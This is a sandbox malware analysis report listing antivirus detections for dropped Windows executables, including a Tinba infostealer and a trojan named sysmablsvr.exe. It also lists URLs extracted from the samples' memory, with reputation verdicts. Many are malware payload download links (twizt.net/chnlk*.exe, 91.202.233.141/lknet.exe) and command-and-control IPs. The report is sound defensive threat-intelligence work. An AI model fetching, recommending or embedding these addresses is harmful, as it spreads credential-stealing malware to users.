C:\Windows\sysmablsvr.exe	100%	Avira	HEUR/AGEN.1315882
C:\Windows\sysmablsvr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\524024912.exe	75%	ReversingLabs	Win32.Infostealer.Tinba
C:\Windows\sysmablsvr.exe	84%	ReversingLabs	Win32.Trojan.MintZard

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://77.91.77.92/4	100%	Avira URL Cloud	malware
http://77.91.77.92/2	0%	Avira URL Cloud	safe
http://twizt.net/chnlk6.exe	100%	Avira URL Cloud	phishing
http://77.91.77.92/5	0%	Avira URL Cloud	safe
http://77.91.77.92/	0%	Avira URL Cloud	safe
http://77.91.77.92/1/6T	0%	Avira URL Cloud	safe
http://twizt.net/chnlk11.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/lknet.exe	100%	Avira URL Cloud	malware
http://77.91.77.92/6	100%	Avira URL Cloud	malware
http://twizt.net/chnlk20.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/2	100%	Avira URL Cloud	phishing
http://twizt.net/chnlk7.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/1JJC:	0%	Avira URL Cloud	safe
http://91.202.233.141/PLTRESA	100%	Avira URL Cloud	phishing
http://185.215.113.66/1F	0%	Avira URL Cloud	safe
http://twizt.net/chnlk10.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/	0%	Avira URL Cloud	safe
http://91.202.233.141/1	100%	Avira URL Cloud	malware
http://185.215.113.66/1.	0%	Avira URL Cloud	safe
http://91.202.233.141/lknet.exeCHNOSGDKAUNZGBQABMDEFRITESPLGRnginx.exehttpd.exehttp://twizt.net/chnl	0%	Avira URL Cloud	safe
http://91.202.233.141/5	100%	Avira URL Cloud	phishing
http://91.202.233.141/4	100%	Avira URL Cloud	phishing
http://77.91.77.92/1	0%	Avira URL Cloud	safe
http://77.91.77.92/26	0%	Avira URL Cloud	safe
http://91.202.233.141/6	100%	Avira URL Cloud	phishing
http://77.91.77.92/1/3	0%	Avira URL Cloud	safe
http://185.215.113.66/http://77.91.77.92/http://91.202.233.141/123456%s%s%s:Zone.Identifier%userprof	0%	Avira URL Cloud	safe
http://77.91.77.92/1/6	0%	Avira URL Cloud	safe
http://77.91.77.92/3P	0%	Avira URL Cloud	safe
http://91.202.233.141/3	100%	Avira URL Cloud	phishing
http://185.215.113.66/	0%	Avira URL Cloud	safe
http://twizt.net/chnlk4.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/PLTRESAA	0%	Avira URL Cloud	safe
http://185.215.113.66/4t	0%	Avira URL Cloud	safe
http://77.91.77.92/51	0%	Avira URL Cloud	safe
http://twizt.net/chnlk5.exe	100%	Avira URL Cloud	phishing
http://77.91.77.92/1/68l	0%	Avira URL Cloud	safe
http://twizt.net/chnlk16.exe	100%	Avira URL Cloud	phishing
http://77.91.77.92/3h	0%	Avira URL Cloud	safe
http://185.215.113.66/4#	0%	Avira URL Cloud	safe
http://twizt.net/chnlk15.exe	100%	Avira URL Cloud	phishing
http://twizt.net/chnlk2.exe	100%	Avira URL Cloud	phishing
http://twizt.net/chnlk17.exe	100%	Avira URL Cloud	phishing
http://185.215.113.66/5	0%	Avira URL Cloud	safe
http://91.202.233.141/PLTRESAz	0%	Avira URL Cloud	safe
http://91.202.233.141/PLTRESAMozilla/5.0	0%	Avira URL Cloud	safe
http://185.215.113.66/2	0%	Avira URL Cloud	safe
http://185.215.113.66/3	0%	Avira URL Cloud	safe
http://91.202.233.141/PLTRESAd	0%	Avira URL Cloud	safe
http://185.215.113.66/6	100%	Avira URL Cloud	malware
http://185.215.113.66/1C:	0%	Avira URL Cloud	safe
http://77.91.77.92/26q	0%	Avira URL Cloud	safe
http://91.202.233.141/1C:	0%	Avira URL Cloud	safe
http://91.202.233.141/1Y	0%	Avira URL Cloud	safe
http://twizt.net/chnlk18.exe	100%	Avira URL Cloud	phishing
http://185.215.113.66/1	0%	Avira URL Cloud	safe
http://91.202.233.141/lkdrv.exe	0%	Avira URL Cloud	safe
http://91.202.233.141/23	0%	Avira URL Cloud	safe
http://twizt.net/chnlk3.exe	100%	Avira URL Cloud	phishing
http://twizt.net/chnlk14.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/65P	0%	Avira URL Cloud	safe
http://twizt.net/chnlk8.exe	100%	Avira URL Cloud	phishing
http://77.91.77.92/2/6	0%	Avira URL Cloud	safe
http://77.91.77.92/2/5	0%	Avira URL Cloud	safe
http://185.215.113.66/5%	0%	Avira URL Cloud	safe
http://twizt.net/chnlk13.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/H	0%	Avira URL Cloud	safe
http://91.202.233.141/6.	100%	Avira URL Cloud	phishing
http://91.202.233.141/1K	0%	Avira URL Cloud	safe
http://twizt.net/chnlk19.exe	100%	Avira URL Cloud	phishing
http://91.202.233.141/lksrv.exe	0%	Avira URL Cloud	safe
http://77.91.77.92/1Microsoft.Wi	0%	Avira URL Cloud	safe
http://77.91.77.92/1:	0%	Avira URL Cloud	safe
http://91.202.233.141/6%	0%	Avira URL Cloud	safe
http://91.202.233.141/PLTRESA~	0%	Avira URL Cloud	safe
http://185.215.113.66/6o	0%	Avira URL Cloud	safe
http://twizt.net/chnlk9.exe	100%	Avira URL Cloud	phishing
http://185.215.113.66/5ystem32	0%	Avira URL Cloud	safe
http://twizt.net/chnlk12.exe	100%	Avira URL Cloud	phishing
http://twizt.net/chnlk1.exe	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.66/1	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.91.77.92/4	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.92/	file.exe, sysmablsvr.exe.0.dr	true	Avira URL Cloud: safe	unknown
http://77.91.77.92/5	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/1/6T	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/2	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234854329.000000000221B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk11.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk6.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/lknet.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: malware	unknown
http://77.91.77.92/6	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://twizt.net/chnlk20.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/	file.exe, sysmablsvr.exe.0.dr	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/1F	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/PLTRESA	524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/soap/envelope/	sysmablsvr.exe.0.dr	false	URL Reputation: safe	unknown
http://91.202.233.141/1	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.202.233.141/2	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk7.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/1JJC:	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk10.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://185.215.113.66/1.	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/lknet.exeCHNOSGDKAUNZGBQABMDEFRITESPLGRnginx.exehttpd.exehttp://twizt.net/chnl	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/26	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/5	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.92/1	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/6	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/3	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/4	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.92/1/3	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/3P	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/http://77.91.77.92/http://91.202.233.141/123456%s%s%s:Zone.Identifier%userprof	file.exe, sysmablsvr.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/1/6	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk4.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://185.215.113.66/	file.exe, sysmablsvr.exe.0.dr	true	Avira URL Cloud: safe	unknown
http://91.202.233.141/PLTRESAA	524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/4t	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk5.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://77.91.77.92/1/68l	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk16.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://77.91.77.92/51	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	sysmablsvr.exe.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.66/4#	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/3h	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk17.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk15.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk2.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/PLTRESAz	524024912.exe, 00000007.00000002.2490877099.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/5	sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/PLTRESAMozilla/5.0	524024912.exe, 00000007.00000000.2434511449.0000000000222000.00000002.00000001.01000000.00000008.sdmp, 524024912.exe, 00000007.00000002.2489367139.0000000000222000.00000002.00000001.01000000.00000008.sdmp, 524024912.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/3	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/2	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/PLTRESAd	524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/6	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/1C:	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878878518.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878685410.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/26q	sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/1C:	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/1Y	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk18.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/lkdrv.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk3.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk14.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/65P	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/23	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
